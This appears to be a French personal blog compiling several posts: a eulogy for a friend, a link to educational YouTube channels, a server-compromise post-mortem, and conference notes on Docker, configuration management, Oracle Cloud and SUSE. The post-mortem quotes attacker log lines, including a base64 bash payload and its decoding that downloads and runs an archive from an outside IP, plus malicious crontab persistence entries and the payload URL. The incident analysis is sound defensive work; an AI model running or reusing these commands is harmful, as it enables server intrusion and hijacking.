L'Imp'Rock Scénette (by @_daffyduke_)

Salut Patrice

Olivier Duquesne aka DaffyDuke — 2021-01-13T20:01:24Z

Ce lundi matin, mon ami Patrice en a fini.

Portrait de Patrice Budzinsli

Mathieu Drouet

Magnifique portrait par mon ami Mathieu Drouet (@mathieu.drouet)

Tu sais Patrice, c'est ce copain rencontré pendant le festival qu'il organisait à Arras. Sacrés Belges, via mon copain Steph. Grace à lui j'ai modelé une culture rock avec Girls In Hawai, Ghinzu, Sharko, ... On a fêté son départ du Pharos dignement ! (il est où Jean-Yves ?).Patrice m'a donné l'envie d'aller voir des concerts, au Grand Mix, à Tourcoing. D'année en année,par son impulsion, je suis entré au Conseil d'Administration puis au Bureau de l'association. Que d'afters saluées comme des victoires. Je me souviendrai longtemps encore de ses enfants dansant sur le bar, des repas au catering avec les artistes que ce soit Gomm ou Puppetmastazz ou encore les présentations du trimestre : "Çà va être bien".

Patrice était militant. Pour Benoît. Mais aussi pour Dominique et tant d'autres. Il aimait sans compter. On a voulu soutenir notre copain Dominique lorsqu'on a estimé qu'il avait été licencié injustement. "Hé toi l'informaticien, tu peux pas me faire un site vite fait pour qu'on montre ça à la télé ?".

On s'est retrouvé plusieurs fois dans le bassin minier : une tournée de bars, de copains, de générosité avant tout. Je suis né dans le Nord, je ne connaissais pas l'accueil du Nord comme ça. Patrice, c'est l'ami que je ne voyait pas souvent mais qui me manquait dès la porte franchie.

On pouvait parler de tout, beaucoup de culture. De musique bien sûr, mais aussi de ciné, de séries, de bandes dessinées, de politique, des enfants, de sport (enfin surtout lui) ... Il a toujours montré que c'était possible. Mais c'est aussi la seule personne avec qui je pouvais passer des heures à refaire le monde autour d'une question tellement simple "Çà va ?".

Nous avons pris plaisir quelques jours dans son village il y a déjà trop longtemps. "Faut v'nir hein, et pas que pendant les vacances". J'ai pas tenu ma promesse ...

Une des dernières fois que nous avions échangé au téléphone, c'était pour me dire que son nouveau meilleur ami c'était son chauffeur de taxi. 2h aller, 2h retour quotidien pour son traitement à l'hôpital. J'ai promis que je rappellerai plus souvent.

J'appelle pas, personne, jamais. Je n'ai jamais su faire çà. Tu le savais, c'est toujours toi qui m'a appelé. Toujours. Comme ce jour où tu m'as interdit de rester chez moi après une bien triste nouvelle. On est allé au cinoch', dans le Pas de Calais, moi le lillois de la grande ville.

Puis tu n'arrivais plus à nous lire, alors c'est vrai on s'est un peu perdu. Mais si tu savais le nombre d'insomnies que j'ai pu avoir, hier encore, où tous ces mots se sont bousculés encore et encore.

Salut Patrice, tu étais fier de ta femme Sylvie et des enfants même si "ouai, c'est pas toujours facile tu sais". Je sais qu'ils sont fiers de leur papa.

Que j'aime à écouter la musique qu'Alex a préparé. A chaque titre je te retrouve. Je n'arriverai pas à t'oublier. Je commenterai ici uniquement les 3 titres que j'ai ajoutés :

– Walk The Line par Johnny Cash : c'est le film que nous sommes allés voir ensemble. Oui c'est le seul, mais c'est surtout le moment, c'était ce jour là qu'il fallait le faire, merci
– Turn To Dust par Cascadeur. Tu vois, tu avais quitté le Grand Mix (à vai dire, l'Aéro aussi), le Grand Mix était en travaux, mais quand Cascadeur est venu jouer à l'Idéal, Alexandre a tenu à te rendre hommage, il aurait voulu que tu sois là ce soir là
– The Suburbs par Arcade Fire pour illustrer comment tu pouvais t'enthousiasmer pour des artistes. À l'époque on s'échangeait des mp3 sur napster ou soulseek, ce groupe commençait à peine à percer au Canada, tu nous en parlais déjà....

Je ne t'appellerai pas. C'est promis.

Les chaînes YouTube culturelles et scientifiques francophones

Olivier Duquesne aka DaffyDuke — 2020-05-01T16:23:38Z

Je n'arrive pas à retrouver la source du document, c'est une liste de 350 chaînes Youtube à contenu éducatif.
Elle nous est proposée par Mathilde Hutin, pour le Ministère de la Culture.
Le document est sous licence Creative Common CC-by-NC.

- Ailleurs / download, informations

Histoire d'un piratage

Olivier Duquesne aka DaffyDuke — 2019-07-13T23:15:45Z

Ce matin, au réveil, après avoir passé une soirée de remise en route de la messagerie sur mon Kimsufi, quelle ne fut pas ma surprise avec le mail suivant :

*** SECURITY information for <hostname>.kimsufi.com *** Date:	Sat, 13 Jul 2019 05:20:34 +0200 (CEST) <hostname>.kimsufi.com : Jul 13 05:20:33 : postgres : user NOT in sudoers ; TTY=unknown ; PWD=/var/lib/postgresql ; USER=root ; COMMAND=/dev/shm/.satan

Waw ! stupeur. D'abord, première réaction : "punaise, ils sont de mieux en mieux faits les spams de nos jours !" Je regarde l'en-tête, tout ce qui a l'air de plus légal. Alors, regardons ça de plus près. postgres, c'est probablement l'utilisateur de postgresql, je ne me souviens pas trop à quoi il sert mais en effet, ça fait un moment que mon outil de vérification des services cassés me le signale, je le redémarre quand j'y pense. Clairement, ce .satan semble très étrange mais rkhunter ne s'est pas plaint. lynis non plus. Poursuivons.

Analyses

Mon moteur de recherche préféré signale quelqu'un ayant eu une attaque similaire : https://social.imirhil.fr/@aeris/101864561434132681
Moi aussi, je découvre ce .firefoxcatche. Je découvre aussi un répertoire .ssh à côté. Bizarre, je ne me souviens pas de ça. Et là, j'épluche les logs. C'est là que snoopy va m'aider.

auth.log:Jul 9 09:35:40 <hostname> snoopy[22194]: [uid:127 sid:22194 tty:(none) cwd:/var/lib/postgresql filename:/bin/bash]: bash -c cd /dev/shm; rm -rf .satan*; wget -w 1 -T 10 -t 5 -q 54.37.70.249/.satan; chmod 777 .satan auth.log:Jul 9 09:35:40 <hostname> sshd[21969]: Close session: user postgres from 186.3.234.169 port 33820 id 1 auth.log:Jul 9 09:35:41 <hostname> sshd[21969]: Starting session: command for postgres from 186.3.234.169 port 33820 id 0

Ha ! Là, c'est clair. Mais alors, que fait mon google-authenticator ? Il m'a bien demandé un code pour ma propre connexion. J'essaye sur postgres. Stuper, le login se fait sans authentification ni mot de passe ni clé. OK, la machine est compromise.

Réfléchissions, si je me fais voir, il va prendre peur et peut-être tout casser. Je continue à analyser sans rien couper.

OK, dans les logs, je vois des accès de cron :

auth.log:Jul 10 21:13:55 <hostname> snoopy[24068]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql filename:/bin/cat]: cat dir.dir auth.log:Jul 10 21:13:56 <hostname> snoopy[24069]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/rm]: rm -rf /var/lib/postgresql/ps auth.log:Jul 10 21:13:56 <hostname> snoopy[24070]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/rm]: rm -rf /var/lib/postgresql/ps.* auth.log:Jul 10 21:13:56 <hostname> snoopy[24071]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/usr/bin/crontab]: crontab cron.d auth.log:Jul 10 21:13:56 <hostname> snoopy[24072]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/usr/bin/crontab]: crontab -l

je vois aussi des accès à systemd, mais difficile de savoir de quoi il s'agit. Ca tombe pile pendant une opération de maintenance de ma part.

auth.log:Jul 10 19:30:32 <hostname> snoopy[19720]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/ln]: ln -s /lib/systemd/system/postgresql@.service /run/systemd/generator/postgresql.service.wants/postgresql@9.6-main.service auth.log:Jul 10 19:30:50 <hostname> snoopy[19784]: [uid:0 sid:1 tty:(none) cwd:/ filename:/lib/systemd/system-generators/postgresql-generator]: /lib/systemd/system-generators/postgresql-generator /run/systemd/generator /run/systemd/generator.early /run/systemd/generator.late auth.log:Jul 10 19:30:50 <hostname> snoopy[19792]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/mkdir]: mkdir -p /run/systemd/generator/postgresql.service.wants auth.log:Jul 10 19:30:51 <hostname> snoopy[19794]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/sed]: sed s/#.*$//; /^[[:space:]]*$/d; s/^\s*//; s/\s*$// /etc/postgresql/9.6/main/start.conf auth.log:Jul 10 19:30:51 <hostname> snoopy[19796]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/ln]: ln -s /lib/systemd/system/postgresql@.service /run/systemd/generator/postgresql.service.wants/postgresql@9.6-main.service

J'ai encore un peu de mal à savoir si c'est "lui" ou "moi". Si c'est l'autre, c'est uid:0 donc root, donc c'est vraiment grave. Le stress monte.

En effet, il y a quelque chose en cron :

# DO NOT EDIT THIS FILE - edit the master and reinstall. # (cron.d installed on Wed Jul 10 21:22:58 2019) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) 0 0 */3 * * /var/lib/postgresql/.firefoxcatche/a/upd>/dev/null 2>&1 @reboot /var/lib/postgresql/.firefoxcatche/a/upd>/dev/null 2>&1 5 8 * * 0 /var/lib/postgresql/.firefoxcatche/b/sync>/dev/null 2>&1 @reboot /var/lib/postgresql/.firefoxcatche/b/sync>/dev/null 2>&1 #5 1 * * * /tmp/.X15-unix/.rsync/c/aptitude>/dev/null 2>&1

Comprendre. Ce n'est pas moi sur ce créneau horaire, ça colle avec les logs, il ne faut pas rebooter, il y a d'autres répertoires pourris : /tmp/.X15-unix .
Là dedans, je trouve un tar.gz, un script rsync, des binaires comme ps ou kill.

OK, ça doit expliquer pourquoi je ne vois pas, ça a été remplacé ?
Un ps me montre que le process rsync tourne et c'est tout, rien à côté. Ce n'est donc pas le rsync que je connais. J'en profite pour réinstaller procutils après avoir vérifié que :
– la conf apt n'a pas été altérée récemment
– aucun fichier de configuration ne semble avoir été modifié récemment de façon illégitime. Mais c'est difficile à dire. le git log et les diff de toutes parts montrent bien qu'entre le premier login anormal distant et maintenant des tas de fichiers ont été modifiés. Normal, il y a eu une mise à jour de la Debian, une mise à jour majeur de Yunohost et surtout la migration de la configuration ssh de root vers admin.

Je trouve curieux que postgre ait un shell valide, je pop vite fait une debian pour y mettre un postgresql-server, pareil. Et l'utilisateur n'a a priori pas de mot de passe. Pareil donc, la faille ne vient pas de là, pas encore.

Je ne retrouve pas la clé SSH chez moi, les IP viennent de l'Equateur et de l'Inde.

Je ne retrouve pas de configuration systemd.

Les logs laissent penser que ce n'est pas un humain par leur quantité sur le temps imparti et les commandes exécutées.

auth.log:Jul 10 21:10:40 <hostname> snoopy[23201]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/rm]: rm -rf /var/lib/postgresql/.ttp auth.log:Jul 10 21:10:40 <hostname> snoopy[23202]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/rm]: rm -rf /var/lib/postgresql/.firefoxcatche auth.log:Jul 10 21:10:40 <hostname> snoopy[23203]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/mkdir]: mkdir /var/lib/postgresql/.firefoxcatche auth.log:Jul 10 21:10:40 <hostname> snoopy[23204]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/cp]: cp -r a /var/lib/postgresql/.firefoxcatche/ auth.log:Jul 10 21:10:40 <hostname> snoopy[23205]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/cp]: cp -r b /var/lib/postgresql/.firefoxcatche/ auth.log:Jul 10 21:10:40 <hostname> snoopy[23207]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/bin/sleep]: sleep 5s auth.log:Jul 10 21:10:40 <hostname> snoopy[23206]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./init0 auth.log:Jul 10 21:10:45 <hostname> snoopy[23214]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./a auth.log:Jul 10 21:10:45 <hostname> snoopy[23213]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./a auth.log:Jul 10 21:10:45 <hostname> snoopy[23215]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/cat]: cat dir2.dir

Mais là ça devient intéressant :

auth.log:Jul 13 05:20:13 <hostname> snoopy[16816]: [uid:127 sid:16816 tty:(none) cwd:/var/lib/postgresql filename:/bin/bash]: bash -c cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcApybSAtcmYgLlgxNS11bml4Cm1rZGlyIC5YMTUtdW5peApjZCAuWDE1LXVuaXgKcGtpbGwgLTkgY3JvbiA+IC5vdXQKd2dldCAtcSBodHRwOi8vNTQuMzcuNzAuMjQ5L2RvdGEyLnRhci5neiB8fCBjdXJsIC1PIC1mIGh0dHA6Ly81NC4zNy43MC4yNDkvZG90YTIudGFyLmd6CnNsZWVwIDdzICYmIHRhciB4ZiBkb3RhMi50YXIuZ3oKI3JtIC1yZiBkb3RhMi50YXIuZ3oKY2QgLnJzeW5jCmNobW9kIDc3NyAqCmNkIC90bXAvLlgxNS11bml4Ly5yc3luYy9hICYmIC4vY3JvbiB8fCAuL2FuYWNyb24KZXhpdCAw" | base64 --decode | bash auth.log:Jul 13 05:20:16 <hostname> sshd[16814]: Starting session: command for postgres from 202.91.82.54 port 33519 id 1

Je vous le décode pour vous :

#!/bin/bash cd /tmp rm -rf .X15-unix mkdir .X15-unix cd .X15-unix pkill -9 cron > .out wget -q http://54.37.70.249/dota2.tar.gz || curl -O -f http://54.37.70.249/dota2.tar.gz sleep 7s && tar xf dota2.tar.gz #rm -rf dota2.tar.gz cd .rsync chmod 777 * cd /tmp/.X15-unix/.rsync/a && ./cron || ./anacron

Je fais le curl au même endroit, ça pourra aider pour la suite.

Le .rsync est fait un script perl en base64 qui écoute en https.

Remédiation

J'oubliais de préciser. Entre temps, la mise à jour de procps a vraiment fait monter en I/O le serveur, l'accès SSH semble cassé.

Via l'interface web de Yunohost, j'arrête SSH purement est simplement. J'ai alors des alertes systèmes et d'indispo de la part du monitoring OVH, je prends peut, j'avoue, et je démarre la machine en mode rescue.

A supposer que des mots de passe soient compromis, je récupère les accès modifie les mots de passe de messagerie et supprime les mails reçus qui indiqueraient à l'attaquant comment accéder au mode rescue. Après, ça n'eclue rien , mais je me félicite d'y avoir pensé sur le moment.

Je prends le temps d'analyser le contenu du data2.tar.gz

C'est un truc de script kiddie.

La chaîne du .rsync se retrouve sur un site de machines compromises (la mienne n'y est pas encore) : http://threatwar.com/ssh/commands

Des gros finds sur l'uid 127 ne semblent pas confirmer la présence d'autres fichiers.

Je me contente de supprimer les répertoires critiques dans /var/lib/postgresql, dans /var/tmp, dans /tmp. Je dégage la cron. J'en profite pour n'autoriser qu'un seul utilisateur dans la configuration sshd.

Et je reboot.

Une fois online, je modifie le mot de passe de postgres (vu qu'on voit bien qu'il a été modifié dans les logs de snoopy), j'éteins postgresql, je désactive le compte.

Post analyses

Déjà, pas de nouvelles tentatives dans les logs d'authentification.

fail2ban a bien fait son travail mais vu qu'il n'y a pas assez de tentatives .... J'en conclue que la faille devait être connue sur un mot de passe postgresql faibles sur debian (avec yunohost ?).

Tous les services ont un comportement normal, les données n'ont pas été altérées. Volées ? Difficile à dire.

La lecture du data2.tar.gz est décidément instructif.

Je regarde ce qu'il y a dans cette instance postgresql. Conclusion, ce serveur ne sert plus rien. Pas de bases de données, aucune application ne semble y accéder, à l'inverse toutes les applications semblent trouver leur bases dans le mariadb à côté.

Je supprime donc toute trace de postgresql : packages et user.

Et j'observe. régulièrement. lnav en permanence.

Conclusion

OK, cette machine n'est pas forcément une crème de la sécurité mais si on se dit que
– l'OS est globalement à jour à la semaine près, tous les paquets debian aus
– nombre des recommandations de lynis ont été appliquées (sshd, nginx, ....)
– lynis, rkhunter, fail2ban sont installés
– iptables est configuré et démarré et n'autorise que les ports légitimes
– il y a une double authentification sur l'accès SSH

et pourtant la machine a été compromise ! et grossièrement !
Cela signifie peut-être qu'il y a autre chose, certes. Je n'ai pas encore pris le temps pour cela. Mais cela signifie surtout qu'il faut toujours rester vigilant.

Annexes

Le code est ici
https://www.hybrid-analysis.com/sam...

http://54.37.70.249/dota2.tar.gz

Les IP sources :

grep sshd auth.log* | grep postgres | grep Start | awk '{print $12}' | sort | uniq -c 26 186.3.234.169 26 202.91.82.54

Notes Meetup Docker - chez GFI

Olivier Duquesne aka DaffyDuke — 2017-02-23T18:29:00Z

VSCT

2015 openstack en réaction à aws
2016 docker + MEP openstack
mutation socité é DEVOPS
création d'une plateforme VSCloud, build fast & chip
Environ 10 applis en prod docker (essentiellement applis internes) ou le site
de recrutement
openstack par hp (helion)
(avec un debut brique à brique pour expérimenter )
git puppet consul jenkins consul-hproxy swarm register jira

tenant + swarm + catalogue d'image docker tomcat, mysql, ....
avec consul / nginx / ...
jenkins en mode pipeline pour le dploiement des conteneurs

puis l'equipe de prod deploie en prod
dans le même tenant (2 swarm + 1 VM bastion)

c'est jenkins qui ordonnance les install' avec u go humain pour la prod

puppet crée le tenant pour donner à manger à heat
(avant rundeck + heat)
fail fast sur consul (pas encore de bdd à rollbacker)
flocker pour le backup de base en cron
sur des SLA nuls :-)

vision à 2 ans pour la scalabilité

planif de MEP encore

garantie de la prod : prod ou dev ? c'est le dev qui a la main sur le contenu
pas la prod "comme avant"
besoin de changement d'organisation

autre solution kafka-manager

recrutement vsct com

openstack = 1 IP entrante

supervision cetreon mais pas simple sur docker ....

ADEO

rancher
pas de maturite en prod, c'est le dev qui pousse

Notes Configuration Management Camp 2017

Olivier Duquesne aka DaffyDuke — 2017-02-07T18:27:00Z

650 personnes Ondrej Prazak pour foreman Ansible devant puppet en 2017 Is a solved problem ? I'm sorry from the States @lusis Disait en 2011 is a solved problem with a panel service matters, not servers for what : package, daemons, files, templates, users now, everithyng else as orchestration, lifecycle, mgmt, secrets (Vault, HSM) we miss active enforcement comprendre les modifs entre deux run de CM use dbu, inotify, kbus, .... => un hook kernel pour le cfgmgmt ? un nouvel init ? idée : distributed CM (p2p) ex : whet happened when master go down Habitat is sort of peer ring between nodes Voir Ubuntu snappy (eq docker ?) le nouveau format de package "universel" https://www.ubuntu.com/desktop/snappy q? puppet inside container or deploy wontainer with puppet ? Self-Assembling, Self-Healing Architecture in AWS (hashicorp) James from hachicorp @jen20 ami en zfs root + snapshot inline dans le maifest packer approch sans provi terraform/packer demo : main.tf terraform plan, let's go permet de reprendre les modif à la main forme de configm mgmt pour cloud then terraform apply ajout d'un rm de la clé ssh en fin de provi best practice : un main.cf par environnement, mais des modules communs deploy ubuntu consul branché sur le vault pour les mdp openvpn Paul Bellamy Love the container bosse à weavecloud ieurs schémas d'archi "à la maode" nginx, proxy d'appli, .... pets vs cattle typos vs => kubernets/ansible/terraform (infrastructure management) attention tous ces outils sont TRES destructifs topics vs safe tools : people make mistakes without metadata there s no hope metrics, monitor : rate, errors, duration même kevin l'a dit ! exemle de de grafana run fast , break things, fix them prometheus : https://prometheus.io/docs/introduction/overview/ Ansible Anonymous - Dag Wieers @dagwieers Group therapy for Ansible addicts ansible 2012n connu pour hpilo, vmware_guest documentation sur github, grossi avec le rachat de RedHat governance difficile à suivre après le rachat de redhat github ansibot pour maintenir un annuaire de modules ansible => aussi pour la qualité du code Robyn Bergeron Architecte RedHat Ansbile PEP-8 compliance testing : https://www.python.org/dev/peps/pep-0008/ design : agentless, KISS ssh winrm python powershell yaml jinja2 yaml syntax parsinf : indentation is crucial, attention aux 'action:' *Read presciption carefully and consult doctor* attention à écrire le jinja2, attention aux attention à la syntaxe yaml ansible-playbook <yamlfile> ex: missing command si manqun Kubernetes Sébastien Goasguen @sebgoa serverless http://www.skippbox.com - dismissed EC2 Elastic Cloud Compute beta don't mind the hype garner : serverless archotecture dans la montée loMike Roberts martinfowler.com/articles/serverless.html => definition of serverless applcation unit is shrinking to what it dies value chain and evolution 100%devops focus on the bizness, go fast kubeless change mindset : no ssh ! tout est API config rbac .... ajout de CRUD functions, zookeper pour les events demo kubectl get pods --all-mesages https://github.com/skippbox/kubeless/tree/master/examples kubcetl get VNF Why things are changing NFV management and organisation NFV Orchetsrator vs VNF manager vs virtualize infrastructure manager Open Baton ; opnfv VIM = virt infras managaer : openvim, .... Network Function Virtualiaztion NFV load abalncer appliance ecompilée par silo, on en fait des layer pour avoir un VNF est donc un package de virtualisation des fonctions network event driven on config-changed, metricjs, .... implémentation python Orchestration : how to transform amonolithic appliance into a scamabele application possibilité de scalling sur ram, le nomre de host etc ... Katello sync pkg , QoS & efficiency foreman+pulp+candlepin docker, rpm, puppet Rich Jerrido upload or sync yum, puppet, docker, rhcdn, any file download in background or cron Le smart proxy est ouvert sur internet ? manage products product Centos -repo base -updates -plus product postgres -el7 -el6 sync plans with custom subscriptions hammer --output json subscritpn.lst --search "name = "EPEL" --organization enterprise Lifecycle : dev/test/staging/ .... every orga has library host have access to new package from repo depuis une library content view : hold yum, docker, repo, possibilité de rollback dev orga : availael by default, tout est visible os repo + app repo + puppet modules => filters + modules => content view => dispo dans la library library => dev => QA => production saufi si failure composite content view CCV : layers de OS / apps voir les erratas via situational awarenass => demo d'une application d'errata comme "avant sur spacewalk" questions foreman-users@google-groups.com ansible roles to katello Suse ? zypper support : SMT en plus https://213.32.49.93/settings?utf8=%E2%9C%93&search=compos : compose to true to docker katello3 semble meilleur que passenger how to audit, with openscap & foreman ondrej prazak motivation, compliance (joke clinton) scap scanner ajout du xccdf, puis création d'une policy de compliance avec schedule execution du rapport openscap, camember via le dashboard foreman remediation script visible dans foreman via job invocation in host => foreman scap_client 2 avec profile stige_example tailoring file is supported now A venir : remediation inline Shlomi Zadok Infrastruce as a Code kief@thoutworks.com @kief - Kief Morris infrastructure-as-code.com Rappel du state of devops report par puppet Politics and economics of automation by Martin Simons Operating Systems are Assholes by George Miranda genre les OS ça tombe en marche avec des recettes incompréhensibles pour des humains difficile de descendre des RPM non livrés apr mon OS ....,pb de signature Unix is a real things, et pourtant on en avait pas bvesoin lors des cartes unix = kernel, programmes, network , .... security... user interface are for people not for machines which tool is better vim / emacs :-) UI for human (smartphone, tablett, alexa, not datacenter) La pire promesse : les containers pour faire tourner des applications (juste tu télécharge et ça marche) on se fiche de l'OS, pourtant on metun OS dedans et comment auditer ..... container or habitat runtime just enough os, appli runtime, ultra thin app with no os => iterate and compare next year normation - automate quality just like you atomate servers benoît peccattte, bpe@normation.com

Notes Oracle Cloud

Olivier Duquesne aka DaffyDuke — 2016-11-17T18:15:00Z

Pres Cloud Oracle 1 OCPU = 2 VCPU AWS (3 GHZ) => Attention factu gestion des users 30j de trial + renew si possible posssibilité de masquer des services à l'utilisateur cloud fonctionne essentiellement en mode sas / paas, peu de iaas => verifier le chiffrement des disques via la cle ssh SLA 99,95% Extreme Performance avec in memory, dataguard (pas dispo en trial), RAC, multi tenant Oracle Linux 6.6 scale up scale down possible sur database 1 To de stockage coute 4 $ / mois disques SSD, teiring, (disques ssd dedies sur bare metal) bulk data import en zfs mdp = celu ide system backup storage = backup sur disque local du meme compute depuis fra (1 full + 7 incr via rman) (apparte le stockage de cloud storage est du openstack swift) => create instance from backup DataGuard utilisable en PRA mais preciser lors de la creation des comptes/bases => à faire aussi pour configurer un backup rman => access ssh avec base de donnes , c'est le partenaire qui maintient l'OS, les patchs, rotation de logs, controler la FRA les services ne sont pas manages par defaut cloud.oracle pas dispo on premise modele flat all inclusive ou modele ou tu paye les iops, la bp etc snapshot => via la gui ou un cron => snapshot de disque, pas de base presentation de volume => monte pour la base commandline + API AWS RDS = pas de base enterprise questions sla downtime => mise à jour imposée par oracle (offre de protection des données/datacenter en cours d'arrivée) goldenfate

Notes Susecon 2016 - Washington

Olivier Duquesne aka DaffyDuke — 2016-11-11T17:58:00Z

# SAP-HANA : system replication, Matthieu Fattrez clb pacemaker fait le job moins d'une minute de bascule pour une base de 800G SAP HANA Utilisation de Suse Manager exemple : patch la machine standby, bascule cluster, puis patch de la machine front, eventuellement retour en position nominale stonith method => sbd meilleure lecture du crm_mon crm_mon -r -A -f # System Security Sardening, tuto different levels high, midrange, lowlevel besoin de design AVANT et d'adopter des philiosphies de déploiement et de cycle de vie des applications implémentation audit password : règle de force de mot de passe, two factor auth si possible authenitifier autant que possible avec PAM => aging; failing, strength check # Keynote #2, annonce de SLES 11 SP4 par le CTO Suse, Mr T, French guy. Pub pour OpenAttic, dernière acquisition Suse pour permettre des migrations Storage Legacy vers du SDN avec CEPH. kubernetes, gaining moment, susecloud7 annoncé à l'openstack summit utilisation de kubernetes pour déployer cloudfoundry ou ceph # CanaryCode, how to monitor SAP applications, une solution Datavard 3,5 Mio de recherches googles en erreur par jour 99,9% de SLA = 8h45 par jour d'indispo Clients SAP : 99.9997% => 1m/year Architecture : CanaryCode Central Instance avec des satelite sustems Bon CanaryCode c'est un AppDynamics en moins joli et moins flexible .... avec un bémol simple, AppDynamics n'a pas l'air compatible SAP là où CanaryCode est dédié SAP. C'est pas une WebUI, c'est aussi intrusif, ça stocke ces infos dans une base de données tierce. Ils annoncent avoir identifié dans "une grosse banque allemeande" des ralentissements dans des applications qui après correction, représenteraient 948 d'attente : par jours corrigés car détectés par CanaryCode. Un pétrolier s'en sert pour faire de l'IDS (un peu comme certain avec Splunk). Il existe une version community : http://canarycode.com/en/ # Hands on Cloud Foundry Alejandro Bonilla https://github.com/abonillasuse/cf-intro système PAAS IAAS openstack SAAS github PAAS Cloud Foundry deployer : cf deploy utilisable openstack azure, vmware, aws, google, BOSH inerroge la plaeforme IAAS service broker permet de faire le lien entre les dependances des différents services BOSH CLI => BOSH director, qui pilote IAAS BOSH provides Stemcell (applications) Iici; pilote Crowbar, permet tous les hyperviseurs possible # Keynote #3 AIX kernel linux to z designed hana smart memory predictive fail memory resiliency multi tb pour hana ibm powervm virtualization limits reduce cost dynamic move vm builtin powervm over lpar SAP affirmation partenariat suse sap essentiellement hana # Hands on systemd storage pour les autres boot journalctl -b 1 pour avoir un précédent log de boot penser à enlever les quiet etc ... Debian enable par défaut les services, pas Suse, il faut donc penser à passer derrière une fois les RPMs installé systemctl mask => ne pas démarrer sur un pb de dépendance, attention au list-unit-files si un service ne démarre pas systemctl list-unit-files | grep masked systemctl status cron.service = jurnalctl -u cron.service = rccron status rendre un service un peu pverbeux => sed -i '4 a set -x' /usr/sbin/service systemctl -t service status => liste tous les services voir le contenu d un service systemctl cqt cron.service systemctl show cron.service killall vs killall -s SIGKILL => le second est restarté sur un SIGKILL killé sur un SIGTERM systemctl status <fstqbentry>.mount Intéressant le defaulttimeoutstartsec pour du nfs ! mieux, un systemd.device-timeout= dans la fstab (méthode préférée car visible de suite) ou de mettre l'option tmeout dans /etc/systemd/mnt2.mount/d/override.conf où /etc/systemd/mnt2.mount/d/override.conf contient [Unit] DefaultTimeoutStartSec=<> attention, i faut d'abord regénérer les unit files avec systemctl daemon-reload journalctl -xb (from last boot) systemd-delta /etc => controle d'intégrité /etc systemd-analyze plot > file.svg = visu graphique de systemctl systemd and docker don't match together, so pb nspawn vs rocket # OpenStack Troubleshooting openstack cloud7 comme d'hab; /var/log/messages, free, vmstat etc .... Les logs de crowbar (production.log et ou) Les logs de chef /var/log/chef/server.log et Rabbit ou encore du provisionner /var/log/apache2/provisionner.log utiliser le rpm supportconfig, il y a iun plugin susecloud bien mettre les échanges de clé ssh , rsysloger les logs si possible utiliser la commande proposal de crowbarctl voir les logs tftpboot voir le discovery voire mettre un mot de passe crowbar_join __verbose --start => pour que le node revienne dans le dashboard crowbar mettre les logs en verbose toujours, en debug parfois => 10 Gb de log par heure ! tester les services indépendamment, exemple glance list et download crm configure graph crm_mon Les nodes s'attendent tous, si un dit timeout c'est qu'on peut aller voir l'info plus loin : pour identifier, utiliser knife search node founder:true -1 # OpenATTIC Une interface de managemnt de stockage alernative aux solutions propriétaires Support NAS/SAN/CEPH complètement GPL now, intégré à Suse en nov. 2016 support zfs, btrfs, extX, SAN, NAS, LVM monitoring in progress icinga

Notes Susecon 2016 - Washington

Olivier Duquesne aka DaffyDuke — 2016-11-07T17:53:00Z

CEPH, OpenSorce, Software Defined Storage, LTS de 12 mois, Suse Storage 3 basee sur Jewel release jusqu qu 6 milliards de noeuds par cluster CERN et toutes les distrib ou constructeurs sont membres du management CEPH usual strategy is to scale up (vertical) ceph is for scaling out (horizontal) suse is the first to ship a iscsi gateway wih ceph (supported) RADOS = CEPH cluster, stockage objet Librados = app pour acceder aux donnees (C, PHP, Java etc) Radosgw = gateway REST co;\mpatible S3, Swift RBD = block sur host qui heberge une instance CEPH FS = fs pour un client la gatway irbd presente les donnees en iscsi ou nfs etc 2 co;posants i;portants : - un OSD pour manager les disques (one per path) - MONS (3, $, ....), pour monitorer le cluster Un algo CRUSH de stockage Disk-> FileSystem (XFS) -> OSD Les donnes sont stockees via algo CRUSH Mimu;m de 3 MONS, utilise algo PAXOS pour monitorer les nodes et le reseau => i;pair absoluement monitor map, contient placement group map, CRUSH map, epoch pour garantir integrite des donnes rssayer de mettre le moins possible de mons un client accede a la donnee objet en ;ode osd directement PAXOS election de l ip la plus petite pour elire un MON les objets sont ranges dans des storage pools defaultpool rbd regles de placement de snapshot par pool l osd voit les placement group, chaque objet est associe a um placement group il faut faire attention au nbre de PG CRUSH controllable Replication Under les donnes ne sont pas centralisees OSD run CRUSH => besoin de CPU Step2, install, hardware voir la doc suse ceph unprivileged, 167 if possible DNS recommande ipv4 tres bien timesync and at least 2 networks : pub for client/admin and priv for osd to osd SES3 dispo en extension de SLES 12sp0 zypper in ceph-deploy and that s all folks ceph-deploy install <node list> ceph-deply new -cluster moncluster <node list> ceph.conf contient les cles et le rep du journal ceph-deploy mon create-initial <node list> utiliser create pour ajouter des nodes MON puis ajouter les OSD ceph-deploy osd prepare node:dev when check with ceph -k ceph.client.admin.keyring status ceph -w (watch) 